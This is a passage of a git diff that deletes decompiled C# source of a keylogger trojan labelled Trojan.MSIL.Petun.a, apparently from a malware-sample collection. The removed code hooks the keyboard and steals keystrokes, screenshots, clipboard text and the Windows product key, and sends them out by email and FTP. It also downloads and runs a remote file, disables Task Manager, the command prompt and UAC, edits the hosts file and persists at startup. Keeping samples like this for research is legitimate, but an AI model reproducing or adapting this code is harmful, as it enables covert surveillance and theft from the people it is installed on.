case 119: - case 120: - case 121: - case 122: - case 123: - case 124: - case 125: - case 126: - case (int) sbyte.MaxValue: - case 128: - case 129: - case 130: - case 131: - case 132: - case 133: - case 134: - case 135: - Left = "[F" + Conversions.ToString(checked (lParam.vkCode - 111)) + "]"; - break; - case 160: - case 161: - if (!Module1.bbOPp) - { - Left = " [mNMcS] "; - break; - } - Module1.mNMcS = true; - break; - case 162: - case 163: - Left = " [ctrl] "; - break; - case 164: - Left = " [alt] "; - break; - case 165: - Left = " [ralt] "; - break; - default: - Left = Conversions.ToString(lParam.vkCode); - if (Module1.mNMcS) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "~"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "{"; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "}"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "|"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "\""; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ":"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = "<"; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "?"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "+"; - } - else if (!Module1.mNMcS) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "`"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "["; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "]"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "\\"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "'"; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ";"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = ","; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "="; - } - if (Operators.CompareString(Left, "107", false) == 0) - Left = "+"; - if (Operators.CompareString(Left, "107", false) == 0) - Left = "*"; - if (Operators.CompareString(Left, "111", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "44", false) == 0) - { - Left = " [SS] "; - break; - } - break; - } - } - } - else if (wParam == 257 | wParam == 261) - { - switch (lParam.vkCode) - { - case 160: - case 161: - if (!Module1.bbOPp) - Left = "[/mNMcS]"; - Module1.mNMcS = false; - break; - case 162: - case 163: - Left = "[/ctrl]"; - break; - case 164: - Left = "[/lalt]"; - break; - case 165: - Left = "[/ralt]"; - break; - } - } - Module1.QCuCgH += Left; - if (Operators.CompareString(Left, "", false) == 0) - ; - num = Module1.CallNextHookEx((int) Module1.KeyboardHandle, Code, wParam, lParam); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num = Conversions.ToInteger(""); - ProjectData.ClearProjectError(); - } -label_130: - return num; - } - - [STAThread] - public static void Main() - { - if (!Module1.SDDate.Contains("SDDate+") && DateTime.Compare(DateAndTime.Today.Date, Conversions.ToDate(Module1.SDDate)) == 0) - Module1.VXPoRvt(); - if (!Module1.Delay.Contains("DelOff+")) - Module1.GTssUcoRk(Conversions.ToInteger(Module1.Delay)); - string kwjLhfIpH = Module1.KwjLhfIpH; - Module1.KwjLhfIpH = Operators.CompareString(kwjLhfIpH, "AaD", false) != 0 ? (Operators.CompareString(kwjLhfIpH, "FaF", false) != 0 ? (Operators.CompareString(kwjLhfIpH, "MaD", false) != 0 ? (Operators.CompareString(kwjLhfIpH, "SaF", false) != 0 ? (Operators.CompareString(kwjLhfIpH, "WaF", false) != 0 ? Module1.KwjLhfIpH : Module1.yPhCVPFkt) : Module1.WUOgdzWuB) : Module1.IIuhJfr) : Module1.HyXBfPL) : Module1.eZaYdOI; - Module1.GDOftPDM = Module1.TripleDESDecode(Module1.GDOftPDM, "System.Net"); - Module1.YENOMRou = Module1.TripleDESDecode(Module1.YENOMRou, "System.Net"); - Module1.uXqWuMm = Module1.TripleDESDecode(Module1.uXqWuMm, "System.Net"); - Module1.kuBwJZov = Module1.TripleDESDecode(Module1.kuBwJZov, "System.Net"); - Module1.bdKQjr = "\\" + Module1.bdKQjr; - if (Operators.CompareString(Application.StartupPath, Module1.KwjLhfIpH, false) != 0) - { - if (!Module1.Message[0].Contains("MsgFalse+")) - { - MessageBoxIcon messageBoxIcon = new MessageBoxIcon(); - MessageBoxIcon integer = (MessageBoxIcon) Conversions.ToInteger(Module1.Message[2]); - int num = (int) MessageBox.Show(Module1.Message[1], Module1.Message[0], MessageBoxButtons.OK, integer); - } - if (System.IO.File.Exists(Module1.KwjLhfIpH + Module1.bdKQjr)) - ProjectData.EndApp(); - if (Module1.FRMsg) - { - string str1; - if (Module1.DHJBaphSz) - { - ref string local1 = ref Module1.BcyxZHYKO; - ref string local2 = ref Module1.GDOftPDM; - ref string local3 = ref Module1.YENOMRou; - ref string local4 = ref Module1.gunYGIcF; - string str2 = "[First Run] Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str2; - str1 = "Hello, this is an email letting you know that your keylogger has been freshly installed on the computer in the title. Thank you."; - ref string local6 = ref str1; - int integer = Conversions.ToInteger(Module1.FRtNrQiI); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.FRtNrQiI = Conversions.ToString(integer); - } - if (Module1.KMgJObY) - { - ref string local9 = ref Module1.yqQsXVEr; - ref string local10 = ref Module1.LTInjjim; - ref string local11 = ref Module1.uXqWuMm; - ref string local12 = ref Module1.kuBwJZov; - str1 = "Hello, this is a message letting you know that you keylogger has been installed on " + Environment.MachineName + "."; - ref string local13 = ref str1; - Module1.UpFTP(ref local9, ref local10, ref local11, ref local12, ref local13); - } - } - if (Module1.ZKRYoQPf) - { - if (System.IO.File.Exists(Path.GetTempPath() + Module1.arsOPZwd)) - System.IO.File.Delete(Path.GetTempPath() + Module1.arsOPZwd); - MyProject.Computer.Network.DownloadFile(Module1.mbvlcqBj, Path.GetTempPath() + Module1.arsOPZwd); - if (System.IO.File.Exists(Path.GetTempPath() + Module1.arsOPZwd)) - { - if (Module1.cIgxKxvp) - Process.Start(Path.GetTempPath() + Module1.arsOPZwd, Conversions.ToString(new ProcessStartInfo().WindowStyle == ProcessWindowStyle.Normal)); - else - Process.Start(Path.GetTempPath() + Module1.arsOPZwd); - } - } - if (Module1.JtKORIhK) - { - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2", AppWinStyle.Hide); - } - if (Module1.YwokwNcxl == 2) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ", "DisableTaskMgr", (object) "1"); - if (Module1.dDqoi) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoRun", (object) "1"); - if (Module1.cieqt) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoViewContextMenu", (object) "1"); - if (Module1.ytXmF) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - if (Module1.Ziihl) - Interaction.Shell("C:\\Windows\\System32\\ytXmF.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide); - if (Module1.wffTFgDP) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, Module1.KwjLhfIpH + Module1.bdKQjr); - Process.Start(Module1.KwjLhfIpH + Module1.bdKQjr); - if (Operators.CompareString(Module1.QnGfGR, "Melt", false) == 0) - Module1.VXPoRvt(); - else if (Operators.CompareString(Module1.QnGfGR, "Hide", false) == 0) - new FileInfo(Application.ExecutablePath).Attributes = FileAttributes.Hidden; - ProjectData.EndApp(); - } - if (new BxUq(Module1.ouqQhv).IsRunning()) - Environment.Exit(0); - try - { - if (Operators.CompareString(Module1.qaILfIMaW, "CurrentUser", false) == 0 | Operators.CompareString(Module1.qaILfIMaW, "LocalMachine", false) == 0) - ROS.set_Runonstartup((string) null, ROS.StartupCheckCriteria.Either, true); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num = (int) Interaction.MsgBox((object) ex.Message); - ProjectData.ClearProjectError(); - } - if (Module1.NsCDBGdjq.Length != 4) - { - string[] strArray = Strings.Split(Module1.NsCDBGdjq, ","); - int index = 0; - while (index < strArray.Length) - { - string str = strArray[index]; - System.IO.File.AppendAllText(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\drivers\\etc\\hosts", "\r\n127.0.0.1 " + str); - checked { ++index; } - } - } - Module1.oZVJeULZ(); - switch (Module1.YwokwNcxl) - { - case 3: - new Thread(new ThreadStart(Module1.gMIIH)).Start(); - break; - case 4: - VihxBEvUj.Running = true; - break; - } - if (Module1.SSTime) - new Thread(new ThreadStart(Module1.TimedSS)).Start(); - while (true) - { - try - { - do - { - Module1.WaitEx(); - } - while (Operators.CompareString(Module1.QCuCgH, "", false) == 0 & Module1.NoEL); - string str = ""; - if (Module1.TDOUQb) - str = str + "System Information - \r\n" + Module1.WoXtd() + "\r\n"; - if (Module1.oSiPVo) - str = str + "Clipboard: " + Clipboard.GetText(); - Module1.QCuCgH = str + Module1.QCuCgH; - Module1.LastCheckedForegroundTitle = ""; - new Thread(new ThreadStart(Module1.dLcO)).Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public static void TimedSS() - { - while (true) - { - do - { - Module1.WaitEx1(); - if (Module1.DHJBaphSz) - { - ref string local1 = ref Module1.BcyxZHYKO; - ref string local2 = ref Module1.GDOftPDM; - ref string local3 = ref Module1.YENOMRou; - ref string local4 = ref Module1.gunYGIcF; - string str1 = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str1; - string str2 = "Attached is a screenshot of the victim in the title."; - ref string local6 = ref str2; - int integer = Conversions.ToInteger(Module1.FRtNrQiI); - ref int local7 = ref integer; - bool flag = true; - ref bool local8 = ref flag; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.FRtNrQiI = Conversions.ToString(integer); - } - } - while (!Module1.KMgJObY); - Module1.UpFTPImg(ref Module1.yqQsXVEr, ref Module1.LTInjjim, ref Module1.uXqWuMm, ref Module1.kuBwJZov); - } - } - - public static void WaitEx1() - { - Thread thread = new Thread(new ThreadStart(Module1.WT1)); - thread.Start(); - thread.Join(); - } - - public static void WT1() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.SSInt) * 60.0 * 1000.0)))); - - public static void dLcO() - { - string qcuCgH = Module1.QCuCgH; - Module1.QCuCgH = ""; - if (Module1.DHJBaphSz) - { - ref string local1 = ref Module1.BcyxZHYKO; - ref string local2 = ref Module1.GDOftPDM; - ref string local3 = ref Module1.YENOMRou; - ref string local4 = ref Module1.gunYGIcF; - string str = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str; - ref string local6 = ref qcuCgH; - int integer = Conversions.ToInteger(Module1.FRtNrQiI); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.FRtNrQiI = Conversions.ToString(integer); - } - if (!Module1.KMgJObY) - return; - Module1.UpFTP(ref Module1.yqQsXVEr, ref Module1.LTInjjim, ref Module1.uXqWuMm, ref Module1.kuBwJZov, ref qcuCgH); - } - - public static void WaitEx() - { - Thread thread = new Thread(new ThreadStart(Module1.WT)); - thread.Start(); - thread.Join(); - } - - public static void WT() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.cbrvxpPeW) * 60.0 * 1000.0)))); - - private static void GTssUcoRk(int interval) - { - Stopwatch stopwatch = new Stopwatch(); - stopwatch.Start(); - while (stopwatch.ElapsedMilliseconds < (long) interval) - Application.DoEvents(); - stopwatch.Stop(); - } - - private static string GetWindowsKey() - { - object Instance = (object) (NewLateBinding.LateGet((object) Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", false), (System.Type) null, "GetValue", new object[1] - { - (object) "DigitalProductId" - }, (string[]) null, (System.Type[]) null, (bool[]) null) as byte[]); - if (Instance == null) - return "value was nothing!"; - char[] chArray = new char[29]; - int index = 28; - do - { - if (checked (index + 1) % 6 == 0) - { - chArray[index] = '-'; - } - else - { - object Operand = (object) 0; - int num = 66; - do - { - object Left = Operators.OrObject(Operators.LeftShiftObject(Operand, (object) 8), NewLateBinding.LateIndexGet(Instance, new object[1] - { - (object) num - }, (string[]) null)); - NewLateBinding.LateIndexSet(Instance, new object[2] - { - (object) num, - (object) Conversions.ToByte(Operators.IntDivideObject(Left, (object) 24)) - }, (string[]) null); - Operand = Operators.ModObject(Left, (object) 24); - chArray[index] = "BCDFGHJKMPQRTVWXY2346789"[Conversions.ToInteger(Operand)]; - checked { num += -1; } - } - while (num >= 52); - } - checked { index += -1; } - } - while (index >= 0); - return new string(chArray); - } - - public static string EFOlg(object Bytes) - { - string str; - try - { - if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1073741824, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), (object) 1024), "#0.00") + " GB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1048576, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), "#0.00") + " MB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1024, false)) - { - str = Strings.Format(Operators.DivideObject(Bytes, (object) 1024), "#0.00") + " KB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectLess(Bytes, (object) 1024, false)) - { - str = Conversions.ToString(Operators.ConcatenateObject(Conversion.Fix(RuntimeHelpers.GetObjectValue(Bytes)), (object) " Bytes")); - goto label_10; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = "0 Bytes"; - ProjectData.ClearProjectError(); - goto label_10; - } - return "0 Bytes"; -label_10: - return str; - } - - public static string WoXtd() => "Machine Name: " + Environment.MachineName + "\r\n" + "Current User: " + Environment.UserName + "\r\n" + "Operating System: " + Module1.GenerateOperatingSystem() + "\r\n" + "Windows Key: " + Module1.GetWindowsKey() + "\r\n" + "Available Physical Memory: " + Module1.EFOlg((object) MyProject.Computer.Info.AvailablePhysicalMemory.ToString()) + "\r\n" + "Available Virtual Memory: " + Module1.EFOlg((object) MyProject.Computer.Info.AvailableVirtualMemory.ToString()) + "\r\n" + "System Directory: " + Environment.SystemDirectory + "\r\n" + "Local Time: " + DateAndTime.Now.ToString(); - - public static string GenerateOperatingSystem() - { - OperatingSystem osVersion = Environment.OSVersion; - string operatingSystem = "UN"; - switch (osVersion.Platform) - { - case PlatformID.Win32Windows: - switch (osVersion.Version.Minor) - { - case 0: - operatingSystem = "95"; - break; - case 10: - operatingSystem = "98"; - break; - case 90: - operatingSystem = "ME"; - break; - } - break; - case PlatformID.Win32NT: - switch (osVersion.Version.Major) - { - case 3: - operatingSystem = "NT"; - break; - case 4: - operatingSystem = "NT"; - break; - case 5: - if (osVersion.Version.Minor == 0) - { - operatingSystem = "2K"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "XP"; - break; - } - if (osVersion.Version.Minor == 2) - { - operatingSystem = "2K3"; - break; - } - break; - case 6: - operatingSystem = "VS"; - if (osVersion.Version.Minor == 0) - { - operatingSystem = "VS"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "W7"; - break; - } - break; - } - break; - } - return operatingSystem; - } - - public static void gMIIH() - { -label_0: - Module1.GTssUcoRk(300); - Process[] processes = Process.GetProcesses(); - int index = 0; - while (index < processes.Length) - { - Process process = processes[index]; - if (process.MainWindowTitle.Contains("Windows Task Manager")) - { - process.Kill(); - Module1.GTssUcoRk(700); - } - checked { ++index; } - } - goto label_0; - } - - [DllImport("kernel32", EntryPoint = "GetModuleFileNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetModuleFileName(int hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileName, int nSize); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ExitProcess(uint uExitCode); - - [DllImport("kernel32", EntryPoint = "MoveFileExW", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int MoveFile([MarshalAs(UnmanagedType.LPTStr), In] string lpExistingFileName, [MarshalAs(UnmanagedType.LPTStr), In] string lpNewFileName, long dwFlags); - - public static void VXPoRvt() - { - string executablePath1 = Application.ExecutablePath; - string executablePath2 = Application.ExecutablePath; - int moduleFileName = Module1.GetModuleFileName(0, ref executablePath2, 256); - Module1.MoveFile(Strings.Left(executablePath1, moduleFileName), Path.GetTempPath() + "\\tm" + DateTime.Now.Millisecond.ToString() + ".tmp", 8L); - Module1.ExitProcess(0U); - } - - public static string UpFTP( - ref string BcyxZHYKO, - ref string Dir, - ref string GDOftPDM, - ref string YENOMRou, - ref string upStr) - { - string str1; - try - { - string str2 = "\\" + Module1.LT + ".txt"; - string str3 = Path.GetTempPath() + str2; - System.IO.File.WriteAllText(str3, upStr); - MyProject.Computer.Network.UploadFile(str3, "ftp://" + BcyxZHYKO + Dir + str2, GDOftPDM, YENOMRou); - if (Module1.TakeScrns) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + BcyxZHYKO + Dir + str2 + ".gif", GDOftPDM, YENOMRou); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - } - System.IO.File.Delete(str3); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string UpFTPImg( - ref string Host, - ref string Dir, - ref string Username, - ref string Password) - { - string str1; - try - { - string str2 = "\\" + Module1.LT; - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + Host + Dir + str2 + ".gif", Username, Password); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string SendEmail( - ref string SMTP, - ref string Froma, - ref string Password, - ref string Recipient, - ref string Subject, - ref string Body, - ref int Port, - ref bool TakePic = false) - { - string str1; - try - { - MailMessage message = new MailMessage(); - message.From = new MailAddress(Froma); - message.To.Add(Recipient); - message.Subject = Subject; - message.Body = Body; - SmtpClient smtpClient = new SmtpClient(SMTP); - string str2 = "\\" + Module1.LT; - if (TakePic) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - Attachment attachment = new Attachment(Path.GetTempPath() + str2 + ".gif"); - message.Attachments.Add(attachment); - } - smtpClient.Port = Port; - smtpClient.EnableSsl = true; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(Froma, Password); - smtpClient.Send(message); - if (Module1.TakeScrns) - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "Email information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "Email information invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - private static string TripleDESEncode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - MemoryStream memoryStream = new MemoryStream(checked (value.Length * 2 - 1)); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write); - byte[] bytes = Encoding.UTF8.GetBytes(value); - cryptoStream.Write(bytes, 0, bytes.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Convert.ToBase64String(numArray); - } - - public static string TripleDESDecode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - byte[] buffer = Convert.FromBase64String(value); - MemoryStream memoryStream = new MemoryStream(value.Length); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write); - cryptoStream.Write(buffer, 0, buffer.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Encoding.UTF8.GetString(numArray); - } - - public struct IFbLWcY - { - public int vkCode; - public int scanCode; - public int flags; - public int time; - public int dwExtraInfo; - } - - public enum jWXxHTu - { - K_Backspace = 8, - K_Tab = 9, - K_Return = 13, // 0x0000000D - K_Shift = 16, // 0x00000010 - K_Control = 17, // 0x00000011 - K_Alt = 18, // 0x00000012 - K_Pause = 19, // 0x00000013 - K_CapsLock = 20, // 0x00000014 - K_Esc = 27, // 0x0000001B - K_Space = 32, // 0x00000020 - LIfBZSO = 35, // 0x00000023 - qUVCWbj = 36, // 0x00000024 - K_Left = 37, // 0x00000025 - K_Up = 38, // 0x00000026 - K_Right = 39, // 0x00000027 - K_Down = 40, // 0x00000028 - K_PrintScreen = 44, // 0x0000002C - yGkxwNQ = 45, // 0x0000002D - zyaIZL = 46, // 0x0000002E - K_0 = 48, // 0x00000030 - K_1 = 49, // 0x00000031 - K_2 = 50, // 0x00000032 - K_3 = 51, // 0x00000033 - K_4 = 52, // 0x00000034 - K_5 = 53, // 0x00000035 - K_6 = 54, // 0x00000036 - K_7 = 55, // 0x00000037 - K_8 = 56, // 0x00000038 - K_9 = 57, // 0x00000039 - K_A = 65, // 0x00000041 - K_B = 66, // 0x00000042 - K_C = 67, // 0x00000043 - K_D = 68, // 0x00000044 - K_E = 69, // 0x00000045 - K_F = 70, // 0x00000046 - K_G = 71, // 0x00000047 - K_H = 72, // 0x00000048 - K_I = 73, // 0x00000049 - K_J = 74, // 0x0000004A - K_K = 75, // 0x0000004B - K_L = 76, // 0x0000004C - K_M = 77, // 0x0000004D - K_N = 78, // 0x0000004E - K_O = 79, // 0x0000004F - K_P = 80, // 0x00000050 - K_Q = 81, // 0x00000051 - K_R = 82, // 0x00000052 - K_S = 83, // 0x00000053 - K_T = 84, // 0x00000054 - K_U = 85, // 0x00000055 - K_V = 86, // 0x00000056 - K_W = 87, // 0x00000057 - K_X = 88, // 0x00000058 - K_Y = 89, // 0x00000059 - K_Z = 90, // 0x0000005A - K_LWin = 91, // 0x0000005B - K_RWin = 92, // 0x0000005C - K_Numpad0 = 96, // 0x00000060 - K_Numpad1 = 97, // 0x00000061 - K_Numpad2 = 98, // 0x00000062 - K_Numpad3 = 99, // 0x00000063 - K_Numpad4 = 100, // 0x00000064 - K_Numpad5 = 101, // 0x00000065 - K_Numpad6 = 102, // 0x00000066 - K_Numpad7 = 103, // 0x00000067 - K_Numpad8 = 104, // 0x00000068 - K_Numpad9 = 105, // 0x00000069 - K_Num_Multiply = 106, // 0x0000006A - K_Num_Add = 107, // 0x0000006B - K_Num_Subtract = 109, // 0x0000006D - K_Num_Decimal = 110, // 0x0000006E - K_Num_Divide = 111, // 0x0000006F - K_F1 = 112, // 0x00000070 - K_F2 = 113, // 0x00000071 - K_F3 = 114, // 0x00000072 - K_F4 = 115, // 0x00000073 - K_F5 = 116, // 0x00000074 - K_F6 = 117, // 0x00000075 - K_F7 = 118, // 0x00000076 - K_F8 = 119, // 0x00000077 - K_F9 = 120, // 0x00000078 - K_F10 = 121, // 0x00000079 - K_F11 = 122, // 0x0000007A - K_F12 = 123, // 0x0000007B - K_F13 = 124, // 0x0000007C - K_F14 = 125, // 0x0000007D - K_F15 = 126, // 0x0000007E - K_F16 = 127, // 0x0000007F - K_F17 = 128, // 0x00000080 - K_F18 = 129, // 0x00000081 - K_F19 = 130, // 0x00000082 - K_F20 = 131, // 0x00000083 - K_F21 = 132, // 0x00000084 - K_F22 = 133, // 0x00000085 - K_F23 = 134, // 0x00000086 - K_F24 = 135, // 0x00000087 - K_NumLock = 144, // 0x00000090 - K_LShift = 160, // 0x000000A0 - K_RShift = 161, // 0x000000A1 - aaptwo = 162, // 0x000000A2 - GbEIWg = 163, // 0x000000A3 - K_LAlt = 164, // 0x000000A4 - K_RAlt = 165, // 0x000000A5 - K_Subtract = 189, // 0x000000BD - K_Decimal = 190, // 0x000000BE - } - - private delegate int KeyboardHookDelegate(int Code, int wParam, ref Module1.IFbLWcY lParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/My/MyApplication.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/My/MyApplication.cs deleted file mode 100644 index 78703043..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: Crackloader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 6985B8AB-5EF4-4F0D-8851-8F30720A8A11 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/My/MyComputer.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/My/MyComputer.cs deleted file mode 100644 index 6613c8af..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: Crackloader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 6985B8AB-5EF4-4F0D-8851-8F30720A8A11 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git 